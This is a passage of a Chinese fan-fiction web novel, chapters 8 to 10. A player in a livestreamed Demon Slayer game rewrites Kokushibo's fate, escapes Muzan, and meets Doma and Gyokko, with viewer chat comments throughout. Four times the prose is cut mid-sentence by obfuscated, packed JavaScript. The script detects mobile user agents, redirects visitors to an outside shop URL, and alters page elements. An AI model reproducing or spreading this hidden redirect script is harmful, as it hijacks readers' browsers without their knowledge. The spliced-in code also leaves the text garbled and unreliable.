[关键节点介入成功] 还不够。 仅仅一次对话无法真正改变严胜心中筑起的高墙。 空间的拉扯感传来,朝奈知道他们在第一个节点的时间不多了。 “缘一,该走了。”她轻声呼唤。 小缘一回头看了她一眼,又转向严胜,“哥哥,明天我们还一起练习,好吗?” 严胜点了点头,脸上露出一丝微笑。 再次回到镜之空间时,朝奈注意到原本白色的第一面镜子边缘,渗出了一丝极淡的月光色泽。 【第一面镜子成功了,有戏啊!】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122968|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【说白了,兄弟俩之间最大的问题就是不交流,谁都不理解谁】 【主播思路好清晰,直接去最初的心结】 【这也只能让严胜暂时好受一点,根本问题没解决】 【确实,天赋的差距是客观存在的,严胜的心魔没那么简单】 朝奈看了一眼身边的缘一,他虽然不明白发生了什么,但能感觉到方才的哥哥情绪有些不同。 “还想继续吗?”她问。 缘一点点头,小手主动握紧了她的手指。 这一次,朝奈选择了第二面镜子。 涟漪吞没视野。 夜色昏暗,弥漫着浓烈的血腥味。 这是一处刚结束战斗的村落,年轻的剑士们正在收殓同伴的遗体,气氛肃杀沉重。 继国严胜独自坐在一块岩石上,用布缓缓擦拭着刀刃上的污血。 他的月之呼吸刚刚在实战中进一步完善,斩杀了数只恶鬼,但他脸上没有喜悦。 不远处,缘一正蹲在地上,为一个腿部受伤的年轻队员包扎,动作沉稳精准,日轮刀的刀锷在月光下反射着温润的光。 周围其他队员看向他的目光充满了敬畏与信赖,仿佛他本身就是驱散黑暗的光源。 严胜的目光从弟弟身上移开,落到自己手中清冷如月的刀刃上,镜中拙劣摹写的低语,正与他此刻的心境重叠。 就在这时,一个幼小的身影跑到了岩石边。 “哥哥,你的手受伤了。” 严胜一怔,低头看向自己的左手虎口,那里确实有一道细小的裂口,是刚才战斗中震开的,他自己都未曾留意。 小缘一踮起脚尖,手里拿着一小块干净的布条,笨拙却认真地想帮他包扎。 严胜看着眼前这张稚气未脱的脸,一时恍惚。 这个孩子是缘一?可缘一明明就在那边。 认知错乱的感觉让他下意识想要抽回手,却又顿住。 “你是谁?”他声音沙哑。 “我是缘一。”男孩认真地说,清澈的眼睛里映出严胜困惑的脸,“哥哥的月之呼吸很厉害,保护了大家,和太阳一样重要。” 严胜的心脏猛地一跳。 “你说什么?” “没有月亮,夜晚会更黑,怪物会更可怕。”小缘一努力组织着语言,试图传达朝奈教给他的意思,“哥哥的剑,像月亮一样,守护着太阳照不到的地方,不是借光,是自己在发光。” “自己在发光?”严胜喃喃自语着。 小缘一用力点头,终于把布条系好,虽然歪歪扭扭看起来不太美观。 “嗯!哥哥就是哥哥,不是别的任何人。” 【来自弟弟的认可(幼年版)】 【这话说到点子上了,月呼本来就有自己的特色和价值啊,抛开一切不谈,难道不帅吗?】 【严胜需要的就是这种承认吧,主播好会洞察人心】 【呜呜呜幼年缘一好努力在安慰哥哥,看得我哈特软软,哭哭】 朝奈依旧隐在暗处,看着这一幕。 她注意到严胜握刀的手不再那么紧绷,眼神中的晦暗也消散了许多。 手腕上的印记再次灼热。 [关键节点介入成功] 空间的拉扯感再次传来,比上一次更强烈。 这一次,他们在被强制送离前,看到严胜抬起手,似乎想摸摸小缘一的头,但最终只是轻轻拍了拍他的肩膀。 “谢谢。”他低声说。 回到镜之空间,第二面镜子上的裂纹,以肉眼可见的速度愈合了大半,镜面流转着柔和清辉。 她低头看了眼腕间发烫的金色印记,眼底闪过一丝警惕。 所有的时间线,太顺利了。 从道场到村落,每一步都精准踩在严胜的心结上,稳得像被设定好的剧本。 系统所谓的关键节点,哪有这么恰到好处的? 缘一有所感知地看着第三面镜子,指着它问:“下一个,去那里吗?” “对。” 缘一看着站在原地没动的朝奈,也停下了自己的脚步。 “第三面镜子里是还没喝下鬼血的哥哥,你去拦住他,然后告诉他,不要做会让自己后悔的决定。” 小缘一认真地点了点头,小手攥成了拳头。 “那你呢?” 朝奈抬眼,目光落在了那面从始至终漆黑无光的第四面镜子上。 “我去解决最后的麻烦。” 8. 第八章 朝奈晃了晃神,意识重新凝聚。 她发现自己正站在一间古朴雅致的茶室里。 纸窗半开,窗外是精心布置的枯山水庭院。 室内,一盏低矮的方形纸灯放在角落,恰好照亮中央的矮几。 空气中弥漫着清苦的气味,还有一丝茶叶被热水韵出的淡淡香气。 黑死牟跪坐在矮几的一侧。 他穿着深色和服,长发未束,松散地披在身后,几缕滑落肩头。 那柄布满眼纹的虚哭神去,此刻静静地横放在他身侧的地板上,离手不过半尺,触手可及。 他微微垂着眼眸,看着面前矮几上冒着袅袅白气的茶杯。 氤氲的热气略微模糊了他面部冷硬的线条,也让那六只眼多了几分幽深难测。 【这次切换场景怎么这么慢,黑屏了好久看不到画面】 【黑死牟这造型有点帅啊我说,所以这面镜子里是仍旧选择成为鬼的他?】 【我去散发,汪汪汪我是黑死牟的狗】 【这次主播总算能动了,前几次都被锁在空气墙里】 朝奈眨了眨眼,快速扫视环境。 坐下后,她才真正感受到对面传来的无形压力。 沉默。 只有纸灯灯芯偶尔轻微的噼啪声。 茶壶里飘出的烟笔直上升,到了一定高度才缓缓散开。 时间仿佛被无限拉长,一秒像一分,一分像一时。 【不是,你俩说话啊,急死我了】 【什么情况?主播网卡了?】 【搁这禅宗对决呢,谁先开口谁输是吧】 【没卡,主播眼睛还在眨呢】 【搞得我在屏幕前屏住呼吸,都不敢出声了】 朝奈的视线最初落在黑死牟脸上,不过对方完全没有要开口的迹象。 她目光游移,开始打量茶室细节。 墙上挂着一幅墨迹淋漓的书法,写着一个巨大的“月”字,笔锋孤峭冷冽。 博古架上空空如也,黑死牟手边那个茶杯,是天青色的瓷器,釉色温润。 她甚至研究起矮几的木纹。 是紫檀吗?游戏建模真细。 就在她要开始观察杯子里泡的是什么茶叶时,对面的人开口了。 “我知道你的来意。” 声音响起,没有任何起伏。 这句话像是什么许可一样,让她骤然动了起来。 她非常自然地伸出手,拎起矮几中央那只素白的瓷壶。 壶身温热,她取过另一只倒扣着的同款天青色茶杯,手腕稳当地倾斜壶嘴,清澈的茶汤划出一道琥珀色的弧线,注入杯中七分满。 然后她才举杯,凑到唇边,象征性地吹了吹其实并不烫的茶汤,抿了一小口。 温热的液体滑入喉咙,带来清苦的滋味,然后是淡淡的回甘。 《鬼灭之刃》的味觉模拟系统做得同样出色。 他的目光从她脸上移开,落在了她手腕的月牙印记上。 茶室再次陷入了沉默的氛围,但这次有些许不同。 朝奈指尖无意识地摩挲着温热的杯壁,思考着些什么。 弹幕已经急疯了。 【然后呢?没啦?】 【黑死牟多说几个字会死吗(好像真的会)】 【主播你问点啥啊,我好急啊我好急啊】 【这俩人是在用脑电波交流吗】 她清了清嗓子,声音在寂静中显得有点突兀。 “我在来的路上,看见了很有趣的东西。” 黑死牟依旧看着她的手腕,连眼睫都未曾颤动,仿佛没听见。 朝奈不气馁,继续用那种刻意营造的口吻说。 “我看见两个孩子在练剑,”她语速放缓,每个字都咬得很清晰,“其中一个,很是努力认真。” “另一个,”她故意顿了顿,“只需要看,就什么都会了。” 黑死牟握着茶杯的手指收紧了些,杯中的茶出现了一丝颤动。 朝奈语气带上了点闲聊般的感慨,“我看见一个道场,很多人在练剑。” “有一个人走进来,把所有的目光都吸引走了,其他人都成了影子。” 她看见对方眼眸低垂下去。 很有效果。 “我还看见一个回头看向火海的背影,后来一直在月光下挥刀,像在追赶什么永远也追不上的人。” 她左手撑着下巴,手指若有似无地轻点脸颊,语调像羽毛般轻轻落下。 迎着那六只逐渐冰冷的眼眸,朝奈抛出了最关键的问题。 “这个人,你认识吗?” 一声细微的脆响。 黑死牟手中那只天青色茶杯的边缘出现了一道裂痕。 一瞬之间茶室的温度好像都下降了几度,纸灯的光晕也微微摇晃了一下。 他的脸上依旧是那副近乎漠然的神情,六只眼眸低垂,看向自己杯中那微微晃动的茶汤。 良久,缓慢地将目光从茶杯上抬起,越过她的肩膀,看向她窗外那弯冷月。 “不值一提的过往。” 七个字。轻飘飘的。 他说的是不值一提,但朝奈品出了点不一样的味道。 她饶有兴致地打量黑死牟望向窗外的侧影,“是吗?” 声音放得更轻,“那如果我说,还有另一种结局呢?” 她伸出手。 指尖悬停在他的脸侧。 “严胜君。” 她叫的是那个名字。 黑死牟的身体微微僵住。 指尖落下,轻轻贴上冰冷的脸颊。 嗡。 仿佛某种封印被揭开了。 记忆如潮水涌现。 那是四面镜子构成的纯白空间。 他听见自己的声音在镜中诉说悲哀。 然后,变数出现在第一面镜子里。 六岁的缘一,被朝奈轻轻推着,走向七岁时的他。 “哥哥,我想和你一起练习。” 第二面镜子。 夜幕下的村落,他坐在岩石上擦拭刀刃。 小缘一又出现了,笨拙地想为他包扎手上的伤口。 “哥哥的月之呼吸很厉害,和太阳一样重要。” 第三面镜子。 那个夜晚,他握着那碗鬼血,即将做出选择。 “哥哥。”缘一的声音从身后传来,“不要做会让自己后悔的决定。 他还看见了一段很长的故事,在这个故事里,有母亲温柔的抚摸,弟弟清脆的笑声,夏夜的萤火虫,秋日的梅子汤,还有庭院里温暖的阳光。 每一个画面,都像一把钥匙,狠狠撬开了黑死牟尘封数百年的心门。 “继国严胜,”她看着他的眼睛,一字一句地说,“放弃永恒的黑暗吧。” “回头看看,那些你曾珍视的回忆。” 她站起身,纸灯的光将她的影子拉长,投在茶室的地面上。 朝奈把手中那把虚影太刀轻轻放在矮几上。 刀身上的眼球此刻正剧烈地颤抖着,于鞘中发出蜂鸣般的呜咽声。 “我要走了,”她说,“最后送你一句话吧,严胜。” “真正的永恒,从来不是时间的长度。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122969|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>- 镜面涟漪散去。 朝奈回到纯白空间时,四面镜子已经全部亮起。 【去往第三面镜子的小缘一也成功了】 【太不容易了主播,我现在好想哭】 【这就是沉浸式追番的体验吗】 【隐藏任务也太伤感了,等做完,主播答应我一定要带我们去找点乐子作为补偿】 【真希望在这条if线里,严胜能得到一个好的结局】 第一面白镜中,原本的独白开始改写。 依然是严胜的声音,这次有了温度。 “完美是一种祝福。” “我生来背负长子的责任,这不是枷锁,是选择。” “七岁那年,我看见了太阳,也看见了太阳下自己的影子,这是我存在的证明。” 画面有了变化,庭院中,严胜和缘一并肩练剑,日之呼吸灼热,月之呼吸清冷,交织成完美的平衡。 “我加入了猎鬼组织,在生死一线间,我找到了答案。” “我的剑不是为了证明我不如他,是为了守护我们共同珍视的世界。” “我创造了月之呼吸法,它不是日之呼吸的拙劣摹写,是另一条在黑暗中照亮前途的道路。” 第三镜中雾气散去。 “我确实会老,刀也会变慢,但生命正是因为有限才显得可贵。” “我将月之呼吸教给年轻一代,看着它开花结果,看着它成为守护人类的力量。” “当我不再追问意义时,意义自然浮现,每一个被月之呼吸救下的人,每一个传承这呼吸法的孩子,都是意义的具现。” 第四镜的霜花融化,镜面清澈如水。 “他出现了,那个许诺永恒的存在。” “我沉默了很久,久到足够回忆起我这完整又真实的一生。” “然后我回答——” 画面定格,严胜抬头,眼神清明。 “不。” “那夜我没有成为鬼,我依然是继国严胜。” “我不需要永恒的黑夜,我奔向温暖的白昼。” 四面镜子的画面交汇融合,然后,变成最后的场景。 开满花的山丘,两位白发老人并肩而坐,缘一吹奏母亲留下的旧笛,严胜吹奏自己削制的竹笛。 笛声和谐,如日月同辉。 夕阳西下时,严胜轻声问:“她今天会来看吗?” 缘一通透的眼睛望向远方,仿佛能穿过那片天空,看到世界之外的某个人。 他回答兄长:“她已经在了,在所有被改写的命运里,静静地看着。” 画面慢慢淡出。 [隐藏任务·日月同辉已完成] [获得成就:月光不坠,已解锁继国严胜人物日志] [任务评价:你成功改写了继国严胜的命运轨迹,月未坠入永夜,而是作为人间的守护者,与日并肩至终。] [副本通关奖励已结算,恭喜玩家获得:日与月的祝福。] [获得特殊祝福。描述:日与月因你而消融误解,你不再畏惧灼热日光,也不再畏惧漫漫寒夜。你同时理解了太阳的温柔与月亮的孤独,并让它们在你之中,达成了永恒的共鸣。] [存在特殊效果,效果未知,请玩家自行探索。] 系统提示:“即将返回主世界。” 倒计时结束前,朝奈最后看了一眼那四面镜子。 它们开始消散。 但在完全消失前,她似乎看见。 在第一面白镜中,初遇时六岁的小严胜,正对着她露出微笑。 然后,一切归于黑暗。 9. 第九章 朝奈正在和一只猫对话。 确切的说也不能算猫。 “别怕,会说话的猫不奇怪。” “我叫斑,你也可以喊我猫咪老师,”招财猫舔了舔自己的爪子,语调慢吞吞的,“算是这个游戏的特殊引导者,只对进入隐藏阵营的玩家开放。” 朝奈倒没觉得奇怪,只是在心里思考是《鬼灭之刃》制作组公然侵权,还是只是一种致敬。 “好的,娘口三三。”她应着猫的话。 “不许叫那个名字——” 招财猫气的尾巴炸毛,下一秒又恢复了那副懒洋洋的表情,“算了,不和愚蠢的人类争辩。” “系统选择你,”猫咪老师打了个哈欠,勾起尾巴卷住她的手腕,“是因为你特别有潜力,不仅操作技术好,还能洞察人心,很适合完成那些隐藏任务。” 它声音稍微停了一下,琥珀色的眼珠变得深邃了几分,“继国严胜这关只是开始,这个游戏里,还有太多因为执念和不甘变成鬼的人,困在自己的遗憾里,一遍遍重复着痛苦的轮回。” “怎么样,”猫咪的声音里带着一丝蛊惑,“要不要继续玩下去,把那些家伙也从地狱里捞出来,让他们重新做人?” 什么啊,隐藏阵营里鬼身份的鬼,原来是内鬼的鬼。 这不是公然撬无惨墙角吗。 “在给出答复前我能先问你几个问题吗,娘口三三。”朝奈是故意继续喊这个称呼的,她就是想看猫咪哈气。 可惜猫咪老师已经对这个名字脱敏了,它只是懒懒散散地趴着,然后回答“可以”。 “日月同辉的任务结束后,游戏主线里的黑死牟并没有消失,对吧?” “很敏锐嘛,”它用爪子捂着嘴又打了个哈欠,“隐藏任务是脱离主线之外的故事,你可以当做平行世界来看待。” “不过呢,也不是完全没影响,平行世界发生的事情,主世界里的角色也会有相应的记忆。” “那我要怎么做,才能在主世界里也把他们的故事结局改写?” “很简单,”猫咪老师尾巴卷着她的手腕,一副你不答应我就不许走的土匪模样,“刷好感度知道吧?” “刷到一定程度,系统就会自动判断成功了。” 朝奈瞥了眼自己手上缠着的那根毛茸茸的猫尾巴,顺手直接薅了上去。 手感真不错。 任务听起来也挺有意思。 她无视了猫咪老师的无声抗议,继续问,“会有奖励吗?” “你不是需要讨论度吗,”它一针见血地指出,“这些全都是隐藏任务,全网唯一一个能播隐藏任务的直播间。” “热度够不够大?” 朝奈非常满意。 于是她爽快答应了猫咪老师。 只是刷点好感度而已,很简单嘛。 - [当前主线任务已更新] 重新回到主世界的无限城后,新的任务界面便切入视野正中央。 [任务名称:鬼舞辻无惨的召见] [目标:前往无限城中枢,面见鬼之始祖·鬼舞辻无惨。] [特殊提示:此任务不可延迟。] 就在朝奈快速扫过任务描述的瞬间,鸣女的琵琶声在耳侧响起。 然后空间开始变换,旋转。 朝奈站在回廊中央,脚下不断脉动的血肉在空中延伸至视线尽头。 依稀能听见这座房间本身的呼吸,带着湿冷的腥甜气息,规律地收缩膨胀。 “你来了。” 那道声音从四面八方传来,回荡在空荡荡的房间。 她抬头,看向回廊尽头那个背对着她的身影。 他的姿态从容,手指轻轻敲击着身侧,下一秒无数暗红色的血肉触须从虚空中生长出来。 【卧槽这场景看得我狂掉san值】 【无惨老板的办公室装修风格还真是别致】 【主播居然没腿软,我隔着屏幕都快跪了orz】 【我就不该在饭点的时候点开直播间,我草这地板上都是啥,yue】 【不妙啊这氛围,难道是鸿门宴?】 “能行走于日光之下,你知道这意味着什么吗?” 无惨转过身来,那双梅红的瞳孔在昏暗光线中泛着冷光。 “这意味着,”他每向前一步,脚下的血肉地面就泛起一阵波动,“千年以来的桎梏,将被打破。” 朝奈没有说话。 她的大脑在飞速运转。 之前就猜到了不会有什么好事,也没想到会是这么直接就贴脸的剧情杀。 系统面板上,她现在体力条是满的,但是状态栏多了一个[???]的debuff,正在以肉眼可见的速度掉血。 直播间弹幕估计全是问号,不过她现在没空看。 她在等合适的时机。 “让我看看,”无惨又近了一步,距离她只剩下三米,“这份力量的本质。” 话音落下的瞬间,所有的血肉触须暴起。 它们从黑暗中射出,刹那间速度快到几乎撕裂空气。 朝奈本能地后撤躲开,霜息在掌心凝聚,想要制造出一个保护罩,但面板上的那个debuff发力了,直接吞掉了她的这个动作。 空中触须的数量极多,来的角度也很刁钻。 用不了鬼血术,她便开始用最原始的走位闪避伤害。 动作姿态看起来优哉游哉的,就好像故意在卖破绽一样。 她确实在卖破绽,想知道完成隐藏任务给的buff,究竟在何种时候会被触发。 放水的情况下,三根触须从刁钻的角度缠上她的脚踝。 紧接着,更多触须缠上她的腰,手臂,脖颈,将她整个人凌空吊起。 【不对啊,论坛里不是这么说的,主播难道不是高手吗,怎么这么快就被捆起来了??】 【新来的还在质疑主播,老观众已经在等反转了】 【这什么触手play啊啊啊】 【对不起主播,但是感觉好涩哦】 【难道主播的第一次阵亡要被无惨拿下了??】 【她为啥表情这么淡定?】 窒息感传来。 朝奈看到自己的人物面板上,出现了一个增益buff,但点开仍旧是一片空白。 剩下的血条还能再坚持一段时间,还能等。 她指尖凝结起冰刃狠狠刺入缠在脖颈的触须,暗红的血喷溅出来,触须吃痛般收缩了一瞬。 下一秒,更多的触须缠绕上来,将她握刀的手腕也死死锁住。 “不错的挣扎。” 他走到被吊起的朝奈面前,伸手,冰凉的手指捏起她的下巴。 “可惜是没用的。” 手掌贴上朝奈的身体,那双梅红瞳孔里闪烁着贪婪。 他要吞噬她,然后成为能行走在阳光下的完美之鬼。 恐怖的吸力从掌心传来,血条瞬间掉到10%。 朝奈的瞳孔骤然收缩,额角青筋暴起。 她佯装出要奋力挣扎的模样。 “没用的。” 无惨似乎看穿了她的动作,微笑着加重了掌心的吸力。 “你的一切都将成为我的养分。” 视野开始发黑。 但就在这一刹那。 一点温暖的火红色光芒,从她胸口深处悄然亮起。 最初非常微弱,如同黑暗中刚燃起的烛火。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122970|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>无惨脸上的笑容僵住了。 某些此生都难忘的记忆涌上脑海,他的瞳孔一瞬间紧缩。 下一秒,烛火化作燎原之势。 记忆里那人也是这般挥刀。 “轰——” 光芒轰然爆发,隐约可见一道挥刀斩落的虚影,宁静,却仿佛能斩断世间一切邪祟。 “呃啊——!!!” 凄厉的惨叫响起。 为什么。 那个人——不是已经死了吗?! 为什么还会出现在这里?! 所有触及光芒的血肉触须,都宛如被投入沸水的冰,瞬间汽化。 他贴在朝奈身体上的手掌,此刻布满了灼痕,伤口边缘滋滋作响,并且伤口没有愈合。 鬼舞辻无惨近乎无敌的恢复能力在此刻失效了。 “继国.....缘一!!!” 他死死盯着朝奈身上那道渐渐消散的虚影,梅红瞳孔里翻涌着刻骨的恐惧与怨恨。 那个名字从他牙缝里挤出,带着无法抑制的颤抖。 “又是你——!” 那个屈辱的夜晚。 那副被砍成无数碎块的惨状。 所有的画面如走马灯一样在眼前闪过,仿佛在警示着什么。 无惨猛地挥手扭转空间,身影狼狈地消失在黑暗深处。 他不能冒这个险。 离去前最后那一眼,朝奈看得分明。 那双眼睛里充满了惧与恨意。 光芒渐渐收敛。 朝奈跌落在突然变得冰冷坚硬的地面上。 她趴在地上,剧烈地咳嗽着,血条缓缓回升到了60%。 【缘一:我起了,一刀秒了,还有什么好说的】 【smbsh?!】(什么b伤害) 【兄弟们,这就是挂,看不懂很正常】 【无惨的笑容没有消失,只是转移到了我和主播脸上】 【有点好奇屑老板和缘一的过往,好歹也是个boss吧,害怕成这样?】 【遇到挂你怕不怕?】 【主播你还好吗,咳成这样,buff能不能治咳嗽?】 “还好吧。”朝奈撑起身体,抹了把嘴角的血,“就是可惜了,如果不是想看buff效果,我还挺想亲自陪他过几招的。” 她低头看着自己的胸口,那里还残留着火红光芒的散发的温暖。 “不过,这种吃软饭躺赢的感觉,”她细品着刚刚无惨那个令她回味无穷的屈辱表情,“还挺爽。” - 猗窝座接到命令时,正在无限城的修炼场。 脚下的罗盘虚影缓缓旋转,他刚刚完成一套破坏杀·罗针的练习。 鸣女的琵琶声突兀地响起,空间扭曲,他被传送到无限城里另一处空间。 这里冷得刺骨,空气中弥漫着某种压抑的怒气。 “那个叫朝奈的鬼。” 无惨的声音从上方传来,猗窝座敏锐地注意到他的身体,缠着一层厚厚的绷带。 无惨大人受伤了? 这个念头只闪过一瞬,就被猗窝座压下,那不是他该过问的事。 “她身上有某种保护。”无惨的声音嘶哑,“我无法触碰,也无法破解。” “但她能行走于日光之下。”无惨缓缓转身,梅红瞳孔锁定猗窝座,“这份价值,不容有失。” 命令下达得很简洁,监视,保护,汇报。 对猗窝座而言,所有命令只需要执行就够了。 他对朝奈有那么一丝基于实力的好奇,能引起无惨大人如此忌惮,她应该不弱。 但也仅此而已。 “遵命。” 他化作流光消失在房间。 10. 第十章 被撕扯过的钝痛仍然在体内回荡着,每一次呼吸喉间都会传来一阵血腥味的刮擦感。 朝奈干脆倚着墙壁坐在地上,后背抵着冰凉的木板,任由这具躯体痛咳。 只需要等待debuff完全消失,让血条恢复到80%就好了。 【主播你没逝吧】 【咳成这样真的不需要嗑瓶血药吗,多少能补点HP吧】 【buff还是太弱了,都不能一键恢复满血】 【鬼灭之刃设计师,给我加强缘一!】 她盯着面板上正缓慢恢复的血条,和直播间观众说了句“死不了”。 视线边缘突然飘进一抹不该出现在这里的东西。 一片透明的冰晶花瓣。 轻轻地落在她摊开的掌心。 朝奈愣了一下。 无限城里没有冰花。 她的视线从系统面板上移开,这才发现回廊已经被无数冰晶覆盖。 它们从天花板的缝隙中垂下,在地面蜿蜒生长。 整条走廊,变成了一条冰路。 而在这条路的尽头,有人侧着身,弯腰摘下一朵刚刚凝结的冰花。 黑红教祖服的衣摆轻拂过地面的冰晶,他直起身,七色琉璃瞳的光泽在花影间流转。 童磨没有像往常那样笑着打招呼。 只是静静站在花路尽头,手里拈着那朵冰花,看着她。 “真是苦恼呢。”他踏着冰晶铺就的路,慢慢走过来。 在朝奈面前蹲下,与她平视。 “每次见到朝奈酱,都把自己弄得这么狼狈。” 他伸出手,冰凉的指尖轻轻碰了碰她颈间还未消退的红痕,“痛吗?” 朝奈看着他的眼睛。 几秒后,她弯了弯眼。 笑容很虚弱,还带着咳嗽后的喘息。 “如果我说痛,”她反问,“你会帮我止痛吗?” “会哦~”童磨回答得毫不犹豫,掌心已经凝结出一小团散发着寒气的冰雾,“我的血鬼术,很适合做这种事呢。” “那还是算了。”朝奈轻轻推开他的手,撑着墙壁慢慢站起来,“我怕冷。” 童磨的手停在半空。 他看着朝奈摇摇晃晃站直身体,拍了拍衣服上并不存在的灰尘。 “这些花,”朝奈弯腰,捡起一朵落在脚边的冰花,对着光线看了看,“能维持多久?” “我想让它们开多久,就能开多久。”童磨也跟着站起来,语气里带着一丝不自觉的满意,“很美吧?” “美是美,”朝奈把玩着手里的冰花,“就是有点玛丽苏。” 【我要笑吐了,主播这个不解风情】 【场景设计师:玛丽苏眼睛的鬼用玛丽苏的出场方式有什么不对?】 【叽里咕噜说啥呢,只知道教主这张脸要把我迷晕了】 【对教主犯错也只是人之常情】 她抬起头,赤瞳直视童磨的眼睛。 “特意消耗力量,应该不是单纯为了让我看花吧?” 四目相对。 冰花在两人之间无声绽放又凋谢。 许久,童磨忽然叹了口气,他的语气听起来有点委屈。 “朝奈酱真是的,一点浪漫都不懂呢。” “上次也是,吸完血,就把我丢在那自己一个人走掉了。” 他向前走了一步,近得能看见彼此眼中细微的倒影,“刚才,无惨大人召见你了,对吧?” “我不仅见了他,”朝奈对这危险的距离没有丝毫惧意,她大大方方地承认,“还重伤了他。” “所以,你是接到命令来杀我的吗?” “怎么会?”童磨歪了歪头,笑容灿烂,“我是来保护你的呀~” “保护?” 他轻轻摩挲着朝奈脖子上的红痕,“毕竟现在整个无限城,除了我,没有谁会真的欢迎你了哦。” “无惨大人忌惮你,其他上弦警惕你,连鸣女大概都在犹豫要不要继续给你开门。”他数着手指,语气轻快得像在说今天午饭吃哪一位信徒,“只有我。” 七彩瞳孔直直看进朝奈眼里。 “对你特别感兴趣呢~” 朝奈看着他的眼睛,手指轻轻搭上童磨摩挲她脖颈的手腕,无声制止了他的动作。 “那如果我说,我打算去把玉壶气哭呢?” 童磨眨眨眼,似乎没懂话题是怎么跳跃到这个名字上的。 “玉壶?” “嗯。”朝奈点头,表情无比认真,“我要去给他的艺术创作提点意见。” 一阵沉默。 然后,童磨忽然捂住脸,肩膀开始抖动。 起初只是轻微的颤抖,随后变成抑制不住的低笑,最后演变成放声大笑。 “玉壶...给他提意见...”他笑得几乎直不起腰,“朝奈酱,你真是太有趣了~” 他七彩的瞳孔里闪烁着前所未有的光亮。 “去吧!我支持你!”他甚至拍了拍朝奈的肩膀,“需要帮忙的话随时叫我哦,我可以...嗯,在他生气的时候把他冻起来?” “那倒不用。”朝奈想都没想就直接拒绝了。 她注意到不远处有几只低等级的鬼路过,看见这边的景象后,慌慌张张地溜走了,就好像跑得慢下一秒就会被灭口一样。 在她分心的时候,童磨忽然凑近,在她耳边轻声说。 “朝奈酱,要小心呢。” “如果遇到危险,或者需要帮助。” 他的瞳孔微微眯起,里面流转着某种意味深长的光。 “记得先找我。” “毕竟——” 那双眼睛弯成月牙。 “是我最先发现的你呀~” 说完,他后退一步。 整条回廊的冰花,在这一瞬间无声碎裂,化作漫天细碎的冰晶,缓缓飘落。 如同一场转瞬即逝的的雪。 “下次见,朝奈酱~” 而当雪花落尽,童磨的身影也已经消失。 只有朝奈掌心,还残留着一小片没有融化的冰晶花瓣。 她看着那片花瓣,若有所思。 然后重新看向自己的角色面板。 此刻她的血条已经回满了,她点开不久前更新的任务面板,开始查看更详细的信息。 [支线任务:迷失于艺术的狂鬼] [目标:上弦之五·玉壶] [任务描述:阻止他对艺术的扭曲追求] 这次任务的描述比上一次清晰多了,估计是猫咪老师介入之后,帮她简化了任务难度。 做完这个再下线休息吧,她一边这么想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122971|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。 一边调出系统新增的近距离传送功能,传送到玉壶的艺术藏馆处。 这是个光看入口就让人掉san值的地方,门框上布满了扭曲的的人类肢体,门帘则是用睁着眼睛的脸皮缝制而成。 【重申一次,我真的后悔在吃饭时点开直播了】 【玉壶老师的审美还是一如既往地超前】 【我记得论坛有人卡bug进到过上弦五的藏品室,你们猜后面他怎么样了】 【还能怎么样,被做成壶了呗】 【鬼阵营的支线怎么这么诡异,这算不算骚扰同事】 【骚扰同事(X)增进同事之间的友谊(√)】 朝奈面不改色地走进去。 内部空间比想象中更大,像一个巨大的阴暗洞穴。 墙壁上镶嵌着无数大小不一的壶,每个壶口都探出些奇形怪状的生物肢体,有半人半鱼,还有多眼多足的四不像。 洞穴中央,一个由无数小壶拼接而成的王座上,玉壶正专心致志地摆弄着手里的新作品。 是一个正在成型的壶,壶身上已经浮现出半张脸,表情无比地痛苦,仿佛灵魂都在无声呐喊。 “嗯~这个弧度还不够完美。”玉壶喃喃自语,手指抚过壶身,修改着自己的杰作。 “晚上好呀,玉壶先生。” 清亮的女声突然响起。 玉壶手一抖,吓得差点把壶摔了。 他猛地抬头,看见朝奈正站在他面前三步远的地方,好奇地打量他手里的作品。 “你是谁?!”玉壶尖声叫道,无数小壶从墙壁上探出,对准朝奈,“你怎么进来的?!” “走进来的呀。”朝奈语气轻松,“听说玉壶先生是无限城最有品味的艺术家,特意来参观学习。” 